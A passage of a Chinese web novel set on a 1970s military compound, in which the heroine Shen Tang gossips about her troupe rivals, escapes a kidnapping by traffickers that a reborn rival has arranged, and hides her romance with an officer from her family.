敬酒敬到韩忠国战友那桌,众人也只当什么也没发生,祝贺这韩忠国新婚快乐。 韩忠国的父母对何秋脸色就不太好了。 只是他们暂时还没搞清楚情况,想等酒席结束后再询问儿子。 至于韩忠国三个孩子,大儿子韩义眼睛一转,将小妹交给爷爷奶奶,带着二弟韩德吃饱喝足,悄悄去了新房。 宴席结束后,大家各回各家。 沈棠收拾好东西就打算回宿舍了。 路上遇到一队穿着军装的人。 看样子应该是刚刚吃完饭,打算回宿舍。 那一队人你推我推,也不知道说了什么,把其中一个耳根明显羞红的人推了出来。。 男人黝黑的脸满是严肃,快步向她跑来。 “沈棠同志,回宿舍的路有点远,不如我帮你拿行李吧。” 沈棠:“……倒也不必。” 这点东西她自己都提了半路了。 男人不好意思的低下头,紧张的咽了咽口水:“那个沈同志,我姓付,叫付连胜,目前是韩营长营队里的副营长……” 沈棠多看了他两眼:“姓付,付副营长?” 付连胜被她这一眼看的身子都酥了,傻气的咧着嘴笑:“对。” “挺好的,负负得正,付副营长你加油,我还有点事,就不和你说话了。” 沈棠说完,提着自己的行李箱加快了速度。 留在原地付连胜还在傻笑,直到身边的队友走过拍了拍他。 “副营长,别笑了,和个傻子似的。” 付连胜白了对方一眼,心里已经激动的想去跑个五公里。 沈棠同志竟然这么看好他? 那他一定努力! 沈棠回到宿舍,也不知道宿舍里的人去哪了,没有一个人在。 并且宿舍里的东西好像少了很多。 张爱娣的床和她的床一样,像是荒了许久,上面都积了一层灰。 沈棠不知道宿舍里发生的事,趁着还有阳光,先去打了水将自己的床铺擦干净。 大半个月没回来,床上不仅有灰,还有好几个脚印,一看就知道床板被人踩踏过。 幸好她临走的时候把被子放在了小姨家。 将床上清理干净,沈棠打算再回小姨家拿被子。 忽然,门被敲了两下。 他回头看去,正是许久不见的林晓。 林晓走进门来,轻声感叹:“你可算回来了,你都不知道你离开的这段日子都发生了什么事。” 沈棠从箱子里取出一包红虾酥请她吃:“发生了什么?” 林晓示意她看她隔壁的床:“你们宿舍的张爱娣退团了。” 沈棠震惊:“啊?” 她记得张爱娣性子懦弱,但在跳舞上是一把好手。 如果说林晓是属于那种天赋型的,那么张爱娣则是努力型的。 团长对张爱娣还是看重的,经常让舞蹈团的人教导她。 只不过那些人都嫌弃张爱娣,从来不肯认真教。 “你也知道张爱娣这个人性子古怪,我们和她合不来,可不是因为她家里穷,爸妈又对她重男轻女,而是她自己总是不争气,还不诚实。 大家前脚想帮了她,后脚就能被她背刺。 这一次也是一样,你走之后,许婷和王晓雨把气都发在了她身上。 我们看见她在厕所里偷偷的哭,身上有青紫,以为是许婷和王晓雨打了她,就商量着去跟团长告状,结果……” 第一卷 第50章 领唱的位置,将来必定是我的! 沈棠:“她说不是许婷她们欺负的她?” 林晓一言难尽的点头:“对。” 不仅如此,张爱娣还倒打一耙,说她们挑拨她们宿舍团结,许婷和王晓雨对她一直都不错。 团长就算想要为她主持公道,听了她这么说,也没法了。 “然后呢?张爱娣怎么退团了?” “呵,张爱娣就这么踩着我们舞蹈团,跟许婷和王晓雨交好,成为了两人的走狗。 平日里买饭买菜,全让她去,还有洗衣服、扫地等等小事也全被她揽了去。 大家都以为她是在讨好许婷,毕竟人家有个师长夫人姨妈。 结果就在上次联谊会上,王晓雨刚看上了咱们学校的初中老师,转头就被她抢了去,两人没多久就打了结婚证,张爱娣直接退了团。” 沈棠:“牛啊,但为什么她要退团?” 林晓挑了挑眉:“你当王晓雨是好惹的,张爱娣要是还留在文工团,只怕要被欺负死。” 沈棠幸灾乐祸:“那王晓雨岂不是要气死了?” 林晓:“可不是嘛?那个老师还是潭师长夫人打算介绍给许婷的,私下里被王晓雨翘走,转头又被人看见和张爱娣抱在一起。 这三人现在见面就开撕,王晓雨表面看着懦弱,反抗起来也烈,直接把许婷给打进了医院。 你们宿舍没人,是因为她们都去医院看许婷去了。” 沈棠拍手感叹:“太精彩了!所以你跟郝连长是咋回事?” 林晓:“……” 话题怎么转的这么快,这姑娘八卦的性子一如往常啊。 她羞涩的低头,揪着碎花衣裳:“也就那么回事,郝运这个人吊儿郎当的,不怎么着调,我还没有答应他结婚,那你和贺营长发展到哪个地步了?” 沈棠心虚的站起身,眼神飘忽不看她:“……我和他什么关系也没有啊。” 林晓意味深长的感慨了声:“哦~” 沈棠:不愧是她的饭搭子,太敏锐了吧! “好吧,说不定咱们两家的孩子以后能一起上学。” 林晓心里激动,这两人容颜一等一的好,生出来的孩子得多好看啊? 她还挺想八卦沈棠和贺旭的事,奈何沈棠面子薄。 问了半天,就听她心虚的吐出四个字:“他追的我。” 林晓没有一点怀疑:“贺营长果然是个真男人!” 沈棠带着林晓去小姨家吃了晚饭,等她们抱着被子回到宿舍,就见宿舍里的人回来了。 王晓雨眼眶红着,显然是哭了的。 宿舍里很安静,张娜和林星不说话,沈棠自然也没什么话可说。 第二天,沈棠练习嗓子复习歌曲去了。 李团长把沈棠叫出来检查了一遍。 随后将她叫到练功室外。 “今年国庆你的节目大概有三到五个,我想让你准备一首独唱加独舞的歌,你看一下行不行?” 沈棠已经很久没有练过舞了,咋一听要唱跳一起,她有些懵:“这事您可以交给林晓,她舞蹈基础扎实,嗓子也不错,完全可以胜任的。” 李团长摇头:“今年国庆,咱们文工团要和别市里比拼,独舞和领舞上林晓已经担起大任,只怕没有时间也没有精力担起这一节目。 我今天听了你练习的歌,发现你唱歌有自己独特的方法,并且改动的颇具自己风格,加上你本身就是通过舞蹈考进来的,这个节目必然出彩。 隔壁市的文工团可是带着打败咱们的决心来的,怎么,你没有信心赢过他们?” 话都说到这个份上了,沈棠自然不能驳了李团长的面子。 不然以后请假也不好请了。 “但我在这上面没有经验。” “没事,你在唱歌上需要学习的还有很多,从今天开始,你以后下了班就过来我家,我教你唱歌的技巧和发声方法。” 沈棠本身条件是不错的,教起来应该不难。 从这天起,沈棠也算是李团长的半个徒弟了,每天下了班都得去她家里学习唱歌技巧。 团里也不是没有人说闲话。 说李团长想把合唱团的领唱交给沈棠。 歌唱队独唱算不得什么,只要李团长允许,有些时候也可以自己去报名参加。 但合唱团的领唱在文工团却有很高的地位。 毕竟这可不是一般人能够胜任的,但凡出了一个错,整个团就废了。 不仅考验功力,还考验心里素质与经验。 李团长要是把这么重要的位置交给一个刚刚来了部队没多久的沈棠,只怕整个歌唱团都不会同意。 许婷被处分之前,实力还是够的,加上她姨妈身份摆在那,歌唱团的人不服气也没人敢提意见。 被撸下领唱的资格后,李团长也只是暂时提拔了一个上来。 如今谁都盯着这个位置呢。 这年头的人很直白,沈棠才和林晓吃了中午饭回练功室,就被合唱团暂定领唱徐慧拉到了一边。 “团长有意让你领唱?” 沈棠面色清冷:“没有,我在团长那学习发声技巧,准备另一个节目。” 徐慧看了她一眼,随即开口:“沈棠同志,上次许婷陷害你的事,我也曾在背后议论过你,为此,我向你道歉,还请你原谅我当时被蒙蔽之后说出的伤人之话。” 沈棠沉默了片刻,摇了摇头:“抱歉,我选择不原谅。” 徐慧骤然抬头,看着那姑娘白嫩的小脸,一时竟不知道该说什么。 “你们本来就欠我一个道歉,但我应该有权利选择原谅与不原谅吧?” 沈棠知道人很多时候听风就是雨。 谣言一传,背后嘲讽和议论声能将人淹死。 被人蒙蔽是真,伤人也是真。 那么如果受害者是她,她就可以选择原谅与不原谅。 这些人并没有在事情反转之后立刻道歉,不也是觉得无所谓,反正大家都这么说。 法不责众,其他人没道歉,凭什么他们就要去道歉呢? 徐慧迟来的道歉,不过是因为她怕自己抢走她的领唱之位。 又或者忌惮李团长和她背后的小姨父。 反正不太诚心。 “无论是领唱还是独唱,李团长决定人选之前,一定是了解过各自的实力。 如果你怕我抢走你的领唱之位,那你就应该多练习,而不是道德绑架我,或者从我这里探寻消息。 因为领唱之位如今不是我的。 但将来,必然是我的。” 沈棠放下狠话,也没离徐慧突变的脸色,心情舒畅的走了。 她还得紧着练舞呢,离国庆的时间也没多久了。 她刚走,练功室里走出两个穿着军装的女孩,一左一右的站在徐慧面前。 “她怎么说?” 第一卷 第51章 联系人贩子对沈棠下手 徐慧冷着脸:“能怎么说,她肯定不可能把实话告诉咱们。” 左侧的姑娘看她脸色不好,小心翼翼的问:“沈棠小姨父是一团政委,连潭师长都给面子,如今许婷下去了,这领唱的位置说不得团长会留给她。 小慧,你努力了这么多年,可不能竹篮打水一场空啊。” 徐慧微抬下巴,没给她好眼色:“用得着你来说?” 她可不是许婷,蠢笨如猪,被个王晓雨耍的团团转。 这两人不就是希望她和沈棠斗起来,然后坐收渔翁之利吗? 她虽然看不惯沈棠那人人可欺的性子,但有一点她能确定。 团长肯定还没有将领唱之位给沈棠,否则她不可能只在每次合唱的时候才练习一下歌曲,其余时间都用来练习跳舞了。 她徐慧生性骄傲,就算是要打败沈棠,也绝不会在背后耍手段。 总有一天,她会用实力证明自己不比任何人差,让团长心甘情愿的选她成为合唱团领唱! 又是一周过去,周末放假,林晓和沈棠决定去市里买点东西。 家属院有去市里的拖拉机,林晓和沈棠老早就找好了位置,正当拖拉机摇摇晃晃冒着黑烟往城里开时。 小李开着军车从他们身旁驶过。 后座的窗户没有关,沈棠和林晓一下就看到了何秋和韩忠国以及何父何母。 沈棠一直都听关注何秋的事。 她知道何秋因为拿不出那么多钱,只能把自己刚买的三转一响给退了。 三转一响是稀罕货,何秋买回去只有一两天,按理说倒是可以退,就算退不了,也可以暗地里卖给其他人。 偏偏收音机上多了几道刮痕,缝纫机的踏板还被踩坏了,价格折了不少,导致何秋跟韩忠国大吵了一架。 原因是因为他们结婚当天,韩忠国两个孩子故意闯进新房将东西划坏了。 韩忠国在这个事上理亏,于是就想找韩父韩母帮忙补齐。 两个老人哪里肯出钱? 知道何秋并不像儿子说的那样是个大城市里千金小姐,原来对她的好脸色立即就变了,还放了狠话,他们是绝对不会管韩忠国家的事,但韩忠国每个月的养老金必须得给! 甚至因为这事,两个老人让韩忠国连夜买了票回了老家,生怕被那笔巨大的债务才缠上。 但何秋就像是个打不死的小强,眼看就要筹不到钱了。 忽然又救了个老人,对方给了她一笔钱。 为此她还在家属院大肆宣传自己是个多么善良的姑娘,为了救那个老人差点被车撞了。 周玲跟沈棠说的时候嗤之以鼻,什么救了老人? 她才不相信这么巧合的事,要她说,何秋肯定是去黑市了。 指不定暗地里做了什么非法的事呢。 沈棠对此不加以表态。 她对于何秋能还上钱,确实有些意外。 不过即使能还上,韩忠国现在也应该是穷困潦倒。 没了原主上辈子带去的几千块钱打底,帮韩忠国教育孩子,他又怎么可能把所有精力都放在自己的事业上? 上辈子韩忠国娶原身充满了算计,也只有原身才会感动。 原身觉得韩忠国一辈子都爱她,只有她一个人,其实沈棠总觉得还有另一种可能。 那就是原身太蠢,韩忠国想要将她瞒死,根本费不了多少力气。 爱人如养花。 韩忠国若是真的爱原身,又怎么可能到了八十年代全国开放的时期,还不让她请个保姆,活生生将她累死! 至于韩忠国为沈家平反,也可能是不想让妻子的娘家拖累自己。 毕竟那时候的沈家早就没了什么人,死的死,残的残,活下来的都巴结韩忠国。 又怎么可能会为了个从不为他们想着的沈棠而对韩忠国翻脸? 韩忠国这人,装的也是真好,为人也够隐忍。 就像这次,若她作为一个男人,知道自己的妻子是这样的品行,她是绝对不能接受的。 偏偏人家就和妻子一同承担了所有的一切。 沈棠有时候也怀疑,韩忠国不会是憋了大个的吧? 还是说,他在其中谋得了什么利益? 车上的何秋也看到了沈棠。 一想到坐在人群里发着光的沈棠,她心里就很的牙痒痒! 她爸妈来这一趟,不仅要她还回拿走的钱,还要了两百块前彩礼。 韩忠国因为这事,新婚夜都没有碰过她。 何秋上辈子嫁的那个退伍男人和最后养的那个白脸男人,身材都没有韩忠国好。 她本来就不是一个甘于寂寞的女人,和韩忠国在一起后,她明着暗着勾引了他好几次都被他挡了回去。 说什么没结婚不能做那种事。 可现在呢,结了婚,他也不碰她。 没有怀上韩忠国的孩子,即使是军婚她也觉得不妥。 何秋现在也全是心虚和慌张。 其实她手里还藏了一点钱。 不多,只有五十块。 她想着送走何爸何妈,就去药店买点给家畜吃的烈性春药。 只要她怀上韩忠国的孩子,这辈子他都奈不掉她! 至于沈棠…… 何秋心里冷笑,上辈子她在海市待了那么长时间,自然知道当年人贩子被抓的地点。 她长那么好看,她当然要送她一场“泼天富贵”。 * 到了市里,林晓和沈棠去了国营饭店吃早饭。 林晓要去供销社买结婚用的东西,沈棠则找了个借口,去了邮局,把自己写的文章寄去了几家报社。 其实她自己也没什么信心,七零年代基本看不到什么外国的书籍,甚至连四大名著都被打成了封建残余鬼神之说。 她写的故事是基于现实而渲染出来的,一共只有两篇,一篇写的京都风光,只有短短的三千多字。 而第二个故事则是一篇名为《娘嫁》的连载小说,她也不敢写什么古代武侠,写的是农村儿媳三两事,有恶毒婆婆,嚣张跋扈的小姑子,以及心有白月光的丈夫,开篇就让人贼憋屈、恨的牙痒痒。 大结局肯定也是he。 毕竟她可记得前世的时候,她那位年老的院长妈妈就最爱看这种了。 第一卷 第52章 沈棠求救 寄完手里的稿子,沈棠就打算去找林晓。 今天应该是乡下赶集的时候,街上的人还挺多的。 尤其是去供销社的路,一路上都是挤挤囊囊的。 忽然,沈棠感觉被人撞了下,她没跌倒,身后撞她的大妈到是把自己撞了个人仰马翻。 众人眼看人都跌倒了,这才散开把空间空了出来。 沈棠离的最近,伸手去扶:“阿姨你还好吗?” 大妈躺在地上哎呦了两声,死死的抓住她的手臂,哭天喊地大喊: “儿媳妇我可算是找到你了,我们家是穷了点,但你和柱子结婚的时候,我可是给了你整整两百块彩礼,你不能因为在外面找了个男人,就不要家里的孩子和男人了啊! 老天爷欸,柱子怎么就看上你这么个媳妇,家里一团乱糟糟的事不管,吃的比谁都多,还和别的男人私奔,我真是瞎了眼才会让柱子娶你啊!” 旁边的人哭着搭腔:“这是我们村里的事,欸,真是家丑不可外扬。 阿美,你还是赶紧跟你婆婆回去吧,你家孩子都哭的发烧送医院了,你再不回去,只怕要见不到孩子了。” 围观的群众也开始指责:“这姑娘穿的这么好,指不定是偷了家里的钱买的,这是多没良心才会跑啊,两百块钱彩礼?这是娶了个金铂铂吧!” “就是,姑娘你就算再不喜欢你丈夫,也得想想你孩子啊,都哭发烧了,得多伤心啊!” 沈棠心里一下就慌了,这是遇到人贩子了啊! 但她毕竟是个现代人,这种拐卖妇女案她也听了不少。 遇到这种情况,最忌讳的便是只想着去澄清自己,反而陷入了他们设计的陷阱里。 她努力压下心里的慌张,尽量让自己冷静。 “大伙别被他们骗了,这几个是人贩子,你们看这大妈穿的这么破烂,手上全茧子,我一个从来没有做过农活的人,怎么可能是他们的儿媳!” 众人没遇到过这种拐卖案子,一时也疑惑起来。 沈棠穿的是小皮鞋,衣服是的确良衬衫,裤子是军裤,这一身装扮确实看着不缺钱,也不像是农村人。 那女人和第一个说话的男人对视一眼,哭的更大声了:“你就是我儿媳啊! 你是城里人,但你爸妈重男轻女,我儿子又喜欢你,我才花了那么多钱将你娶了回来。 你们不能拿了钱就不认账啊,欺负我这个乡下人啊!” 这时,从人群里挤进来一个黑脸男人,红着眼睛去抓沈棠。 “老婆,都是我的错,我不该让你大清早起来煮饭,你别闹脾气了,以后你不想下田就不下,不想做饭就不做,跟我回去吧,我以后一定好好疼你。” 沈棠闻到他身上那股子汗臭味,差点没吐出来,她干脆一脚踹在老太婆腿上,让她吃痛撒开了自己的手,显显的避开了那男人。 “你说我你老婆,那你倒是拿出结婚证明来!” 男人立刻道:“谁会把结婚证带在身上,老婆你不要闹了,跟我回去吧。” “就是啊,谁会带结婚证在身上,你这姑娘,跟人私奔是要去农场接受改造的,要不是你丈夫对你痴心一片,早就有人去革委会了!” “闹什么闹,赶紧跟你丈夫回去吧,虽然你丈夫是丑了点,但人家对你是真喜欢,也没怪你和人私奔,你就知足吧!” 沈棠见所有人都拦着不给她走,她死死咬着微颤的唇,赤红的水眸扫过众人,忽的看到人群里有个大妈手里提着不少好东西。 她立马冲上前,对着那说话的大妈一把掌扇了过去。 随即又将她手里的水果抢了过来,重重的扔在地上踩了个稀巴烂。 大妈尖叫一声:“你干什么?这可是我排了好久的队才买的香蕉啊!” 地上的女人贩子意识到不对劲,突然跳了起来,抓住沈棠的手就往几个团伙那边拖,还一边对尖叫的大妈道歉。 “真不好意,我儿媳妇性子不太好,我这就带她走。” “不赔钱你就想走?我买这些香蕉可是花了整整十块钱,你不赔就去找公安!” 沈棠眼睛一亮:“找公安就找公安,我是不会赔的,你这个人嘴巴又臭又贱,我打死不赔你!” 大妈气的直冲过来打沈棠。 沈棠一脚揣在试图捂她嘴巴的男人下半身,趁着大妈打过来之际赶忙低头,清脆的巴掌就打在了女人贩子身上。 场面乱做一团,沈棠刚挣脱女人贩子的手想跑,就被之前那个说是同村的人给拦住了。 她下意识的往人群看了一眼,忽然看到穿着军装的韩忠国。 沈棠心里一喜,大声喊道:“韩营长……唔~” 她的嘴巴被人捂住,双手也被人控制,两个人贩子拖着她往人群外走:“老婆,咱们这就回家,你不要再闹了,我不会计较你之前的事的……” 女人贩子则从口袋里掏钱给水果被踩坏的女人,低头哈腰道:“真是抱歉了,我这媳妇就是脾气大,我们这就带她走。” 大妈接过钱,呸了声:“娶了这样的媳妇真是倒了八辈子霉!” 沈棠扒拉不开对方的手,干脆吓了死劲将他的手咬出血,脚下一个用力将对方踢的差点断子绝孙! 男人疼的一下子放开,沈棠顾不得形象,直冲到韩忠国面前:“韩营长,救我……” 韩忠国看着沈棠脸上的指痕,浅褐色的眸子里泪盈盈的,全是恐慌和暗藏的害怕。 他沉默了片刻。 快速将人拉到身后。 军人的职责不允许他明明看到了受害的妇女,却毫无作为。 尽管这个人是他妻子的仇敌。 他冰冷的望着那三个人贩子:“你们这是在做什么,大庭广众之下强抢民女?” 人群以为他在打抱不平,立马为三个人贩子解释。 “军人同志,你别乱管事哦,这是他们儿媳妇,说是跟人私奔被抓了。” 韩忠国面色冷冽:“这姑娘是我们军区文工团的,什么时候成了你们的儿媳妇了?” 众人立刻噶住了议论,什么情况,这三个人该不会真的是人贩子吧? 沈棠从他身后冒出脑袋,抿着唇眼泪汪汪,又狼狈又恐慌,还不忘记仇。 “我就说我不认识他们,他们都是人贩子,大家赶紧抓住他们送公安局,说不定能得到奖金呢。” 三个人贩子面色一慌。 那女人可没说这姑娘是军区的啊! 他们就算有一百个胆子,也不敢拐卖军区的人啊,一个不好,他们所有人都得被端! 三个人想逃,可众人一定沈棠说有奖金,马上将人拦住了。 一个个的将三个人贩子抓的紧紧的,纷纷往派出所去,生怕奖金被其他人领走。 就在这时,一个身材挺拔的男人快步朝这边走来。 “糖糖!” 第一卷 第53章 贺旭,我给你找了个相亲对象 沈棠听到熟悉的声音,往后看去,穿着军装的贺旭大步向她跑来,大概是急的,额头还有些汗水。 压在心底的恐慌和委屈一下子涌了上来。 一个没忍不住,眼眶的泪水似珍珠一般掉了下来。 沈棠扑进贺旭怀里,哭声又小声又可怜,但泪水就是止不住,身子在他怀里颤个不听。 贺旭紧紧的抱着她,看到她脸上的指痕,瞳孔一缩。 “谁欺负你了,慢慢说,我给你做主。” 沈棠哭的说不出话来,压着人贩子的众人看到也很惭愧,你一言我一言的将事情描述出来。 贺旭和韩忠国对视了一眼,抿着唇道了句:“多谢。” 韩忠国看到小姑娘毫不犹豫舍弃他飞奔到贺旭怀里,不知怎的,心里竟然有一丝失落和伤感。 就好像明明一切都不该是这样的。 他想起何秋的话,上辈子他和沈棠是夫妻。 心里忽然就有些不是滋味。 贺旭安慰完沈棠,带着她去派出所做笔录。 派出所被一群人堵着,三个人贩子也被打的鼻青脸肿扔在地上。 贺旭走进来,一脚揣在人贩子的身上,直把人踹飞了好几米,吓的围观的群众都不敢出声了。 两个小警察连忙拦住他:“同志同志,别打了,再打出人命了。” 贺旭冷冷道:“他们犯下的罪,本来就该枪毙!” 地上的女人一听自己要枪毙,立刻哭着道:“我错了我错了,是有人花钱让我去拐卖这个女的,对对对,我不是故意要拐卖她的。” 女人想着坦白从宽,根本没替幕后之人隐瞒。 两个警察的脸色立刻就严肃起来了。 这也太恶毒啊! 贺旭眼眸狠厉:“谁给你的钱?” “我、我不知道……” 女人话没说话,就被贺旭一脚踩在腿上,疼的她脸色都白了。 “我真的不知道,她穿的很厚实,看不出来身材,脸也被黑布蒙着,就给了我三十块钱,说让我把这个女的绑架了。 她还说这个女的很有钱,到时候不仅可以让她把钱拿出来,还能把她卖了。她长的好看,肯定能够卖个好价钱。” 韩忠国本能的想到何秋。 但何秋早上并没有穿的臃肿,离开他的视线也不多。 他虽觉得何秋人品不佳,嫉妒心重,但只是和沈棠不合,应该不至于如此算计人。 可除了她,还有谁能准确无误的找到这些人贩子? “是个女人?” 那女人点了点头,见贺旭没在打她,才松了一口气。 沈棠想到了许婷、何秋、王晓雨。 这三个人对她的恶意最大。 许婷受了伤,在医院,又不知道自己回来了,她可以排除掉这个人。 剩下的就是王晓雨和何秋。 这两人今天都来了市里。 沈棠心里有种预感,这次的主导应该是何秋。 毕竟只有何秋是重生的,她知道上辈子海市的人贩子是在哪里被抓,又能准确的摸到人贩子弱点。 她将自己的猜疑告诉了派出所的警察。 正好何秋就在派出所外面,两个警察立马将人找了过来。 何秋柔柔的拉住韩忠国的手臂,疑惑问:“这是怎么了?” 她的目光落在贺旭和沈棠身上,眸子一凝,抓着韩忠国的手不自觉握紧。 怎么可能呢? 贺旭竟然会喜欢上沈棠? 沈棠回头看了一眼何秋,还没说话,就见林晓也走了进来。 她脸上明显很担心,压低生了声音问:“我听说人你遇到人贩子了,有没有事?可吓死我了。” 沈棠摇头:“你怎么和她一起来?” 林晓也是无语:“还不是她在供销社拦住了我,一直找我搭话,要不然我怎么可能现在才来。” 她怀疑何秋就是故意的。 但没想到,那个女人贩子瞧了一眼何秋,就否认了:“不是她,我记得给我钱的那个女人,她虽然蒙着面,但那双眼睛旁边有一颗小小的棕色痣,不是这个。” 沈棠不相信。 但这年头没有摄像头,更没有采取指纹辨别的精密仪器,人贩子说不是何秋,警察又审问不出什么,就只能把她当场释放。 何秋临走之前,还冲沈棠不屑的笑了笑,认定她拿不出证据。 沈棠面上平静,心里的小人骂骂咧咧,气的恨不得给她揍上两拳。 回了军区。 贺旭放心不下沈棠,当天晚上就来找来了方政委家。 周玲不知道沈棠和贺旭谈对象了。 还以为她之前说自己有对象,是为了推脱那些婶子给她介绍对象。 贺旭提着昂贵的茶叶和肉上门时,周玲笑的嘴角都合不拢,让他坐在大院子里和方政委聊天,自己则去厨房做饭。 方红花逗着小红梅,瞧见沈棠端着一盆白菜去井边打水洗菜,人刚拿到桶,井上的盖子都还没来得及掀,贺旭就跑过去帮忙了。 她歪了歪头,满心疑惑,贺大哥不是不喜欢沈棠吗? 正想着,贺旭已经端着菜盘去厨房了。 周玲炒着菜,看到他进来立马就笑了:“嫌你姨父唠叨了吧?他就这样,回了家一甩手,什么活都是我来干,平日里不是拉着你教导,就在那对红花他们指指点点。 菜给我吧,正好可以放锅里。” 接过贺旭递来的菜,她刀起刀落,将白菜切的整齐,然后倒入锅里。 “对了。”周玲想起一件事来:“之前你不是让我给你找相亲对象吗?我打听过了,医院那边有个刘护士长的漂亮,性子也不错,今年二十,父母都是海市百货大楼里的售货员,家里两个哥哥,一个妹妹,你要是乐意的话,明天我叫她过来,你俩相看相看?” 贺旭眉头一挑,朝刚踏进堂屋的沈棠看去。 这姑娘居然没跟家里人说他们俩的事? 沈棠面色一僵,心虚的低下头,她没好意思说。 “咋不说话?人家姑娘听说是和你相看,立马就同意了,可见那姑娘对你印象不错,你这小子可别太挑啊。” 周玲还以为他不满意刘护士。 刘护士长的清秀漂亮,人又能干,医院追求的人多了去了。 贺旭受伤那段时间,人家也是尽心尽力的照顾。 这要是不同意,她真不知道给他介绍个什么样的才行。 第一卷 第54章 沈棠,你是不是没想过和我结婚? 贺旭轻咳一声:“也不是挑,只是这回回首都,我找了个对象。” 周玲一听,手里的刀立马就放了下来,惊呼道:“你找了对象?” 贺旭点头:“其实吧,这个人你们也认识……” “咳咳咳……” 沈棠努力干咳,终于引起了小姨的注意。 “天冷又燥,棠棠你多喝点热水,润润嗓子。” 贺旭被她打断,只好将到了嘴边的话咽了回去。 见周玲看来,他面色淡淡道:“下次我介绍给婶子认识。” 周玲见他不乐意说,只好把这个话题终结:“那行吧,就是可惜了刘护士,我明天去跟她说清楚。” 人情关系都是处出来的,刘娟那孩子听到和贺旭相亲,脸都红了,显然是有意的,这一下子突然反悔,她还得好好跟人家赔礼道歉。 吃完晚饭,一家子坐在院子里乘凉。 周玲拿着扇子,想到贺旭说他谈的对象是她认识的,又不直接跟她说是谁,挠的她心痒痒的。 这孩子,怎么说也是她看着长大的,怎么连她都瞒呢? “棠棠,你和贺旭回首都,你知道贺旭谈的谁吗?” 她觉得贺旭谈的是首都的人,这时候不是休假的时候,他们部队里没几个姑娘回首都的。 沈棠被六双眼睛看着,心里那点勇气立刻就散了。 她终于理解为什么有人谈了个家人都熟的对象,不到结婚的时候绝对不拿出来见家长。 这万一没成,那得多尴尬啊! 贺旭可不是那种分手了就不在见的人。 她低头,心虚的假装整理衣服:“不、不知道。” 周玲满脸怀疑,总觉得沈棠知道点什么。 这时,刚刚离开的贺旭又走了回来。 男人穿着军装,衬衫扣紧,板正又禁欲。 狭长的凤眸扫过一众人,最后停留在沈棠身上,笑容温和:“婶子,李团长找沈棠同志有点事,我送她过去。” 周玲没怀疑:“那棠棠你去吧。” 她知道沈棠这几天一直都在李团长那边练习,可辛苦了。 沈棠对上他那双毫无攻击性的黑眸,感觉心尖一颤。 总感觉要糟糕! 一路上,不时有几家吃完晚饭出来散步的人。 两个人都很安静,沈棠走在前面,身后跟着贺旭。 直到前方没什么人了,沈棠忽然感觉手臂一疼,一股大力将她拖入墙角。 还没反应过来,炙热的吻如暴风骤雨般席卷而来。 粗粝的大手按着她的脖子,迫使她抬起头。 沈棠只觉得红唇都要被吮吸破了,呼吸也喘不过来,那人才放开了她。 家属院没有路灯,繁星满天之下,二人的影子在月光的映射下交叠、拉长,显得那样暧昧。 二人呼吸交错,在狭窄的空间里粗喘不停。 “你是不是没打算和我结婚?” 贺旭对于她不肯将他们俩谈对象的事告诉周玲纠结了很久,还一直想给她找借口。 或者她就是胆小,毕竟他也不是不知道这小怂包的性子。 但她怂归怂,却不是个没有担当的人。 贺旭看着桀骜不驯,实则自卑又敏感。 他在想,是不是他拿不出手? 又或者,她不想和自己结婚,所以才不想说出来,只想暗地里和他谈个恋爱,等到时机成熟了,就将他踢掉? 贺旭眼眶通红的望着她,显然她不给他个答案,他就不放手了。 沈棠低头揪着衣角:“结婚是有打算的,但我才十八岁,你也还年轻,咱们在一起才一个星期,是不是先适应一下,看看合不合适……” 贺旭捏住她的下巴,抬起她的头:“哪里不合适了?我改。” 沈棠:“我就是打个比喻。 就比如说,我不爱做家务,你也不爱做,咱们就会互相生怨。 再比如,你希望我生完孩子然后在家照顾家庭,但我更希望自己能够有时间做自己爱做的事,可你训练又累,回来就会我吵架。 我就想着,咱们是不是应该互相适应一段时间,看看合不合适,不能光凭感情就什么都不顾了……” 优质男人是需要抓在手里的,但优质男人也得看内在嘛。 贺旭松了一口气,将人抱进怀里:“不会的,夫妻之间要互相体谅,你不爱做家务,那就等我回来做,你要是生了孩子想去做自己的事,咱们就请个人上门照顾孩子。 这世上没有什么事不能解决。 你所谓的合不适合,是遇到问题不解决,只会把问题丢给另一半。 所以你要是哪里对我不满意,直接说出来,我会改。 不告诉家里人就不告诉吧,你想适应就适应。 只是有一点,我绝对不同意分手。” 沈棠心想,陷入热恋中的男人就和在床上动情时说的话一样不可信。 不过她心里还是很高兴的。 谈恋爱嘛,就是要有热恋的感觉。 一段感情能不能好,不是质疑出来的,而是经营出来的。 她相信贺旭说的话发自他的内心,自然也愿意为之感动。 “我也没说要分手,你在想什么呢?” 她笑容如阳光璀璨,夺目耀眼。 贺旭看的入迷,搂着软娇馨香的心爱姑娘,想起夜夜入梦后缠着他的娇媚小姑娘,一时间连身体都热了起来。 “还疼吗?” 他摸了摸他的脸,想起白天的事。 沈棠摇头,明媚如秋水的眸子映着他的身影,傻笑着摇头。 贺旭眸色微暗,搂着她的腰凑上前,轻轻在她红唇上一舔。 沈棠脸唰的一下就红了。 贺旭又琢了两下,就控制不住的吻了上去。 温柔缠绵的吻没有之前激烈,却更能让人心神荡漾。 沈棠腿都软了,整个羞的埋进他怀里。 贺旭笑了笑:“我上次寄给你的东西收到了吗?” 沈棠嘟了嘟嘴:“还说呢,那么多照片,幸好我收拾的快,不然宿舍里的人都知道了。” 瞧见前方有人走来,她推了推他:“那我走了。” 贺旭摸了摸她的头:“好。” 沈棠快速整理了下自己衣服,面不改色的回小姨家。 贺旭看着她的背影,黑眸里漾着温柔。 忽然,不远处韩忠国家大门被急匆匆的打开,一个男人急匆匆的跑了出去。 贺旭心里疑惑,紧跟在他身后追了上去。 第一卷 第55章 沈棠:她上来就打我,我超无辜! 沈棠走到半路,忽然被何秋拦住。 再看到沈棠明显有点凌乱的衣服和红肿的嘴唇时,她瞳孔一缩,抬起手就朝沈棠打去。 “贱人,我让你勾引我老公!” 沈棠本来就防备着她,低头用脑袋一撞,直把何秋撞了个人仰马翻。 “早上的事我还没跟你算账,你还想打我?” 沈棠都快气炸了,撸起袖子直接垮在她身上开揍,揍的何秋嗷嗷叫。 “沈棠,你个贱人,快放开我!” “呸,你才贱!” “你等着,你打我这事,我一定告到师长那去!” 沈棠心里一慌,她可不能给小姨惹祸啊。 小脑袋瓜使劲想办法。 眼瞅着有人来了,脑子忽然闪过一道灵光。 趁着何秋起不来之际,沈棠一把抓乱头发,扯开领口。 扯着嗓子大叫“何秋,你欺人太甚”,还不忘呼着拳头往她脸上揍。 何秋气的都快吐血了,受害的明明是她啊! 